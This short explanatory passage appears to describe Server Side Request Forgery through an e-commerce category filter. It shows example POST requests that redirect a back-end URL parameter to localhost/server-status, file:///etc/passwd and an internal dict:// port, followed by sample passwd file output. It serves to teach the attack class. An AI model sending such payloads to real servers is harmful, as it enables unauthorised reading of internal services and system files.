An e-commerce website allows a customer to filter results by specific categories. When the customer selects the category of choice, the web shop queries a back-end service to retrieve the requested products. The request may look something like: POST /product/category HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 200 vulnerableService=http://vulnerableshop.net:8080/product/category/check%3FcategoryName%3DsomeCategory A malicious user can modify the request URL to look like this instead: POST /product/category HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 200 vulnerableService=http://localhost/server-status or vulnerableService = file:///etc/passwd or vulnerableService=dict://localhost:12345/info If the exploit is successful, the server may return the data requested by the adversary root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc: bin:!:2:2::/bin: sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm: uucp:!:5:5::/usr/lib/uucp: guest:!:100:100::/home/guest: nobody:!:4294967294:4294967294::/: lpd:!:9:4294967294::/: lp:*:11:11::/var/spool/lp:/bin/false invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico paul:!:201:1::/home/paul:/usr/bin/ksh jdoe:*:202:1:My name:/home/myname:/usr/bin/ksh

Server Side Request Forgery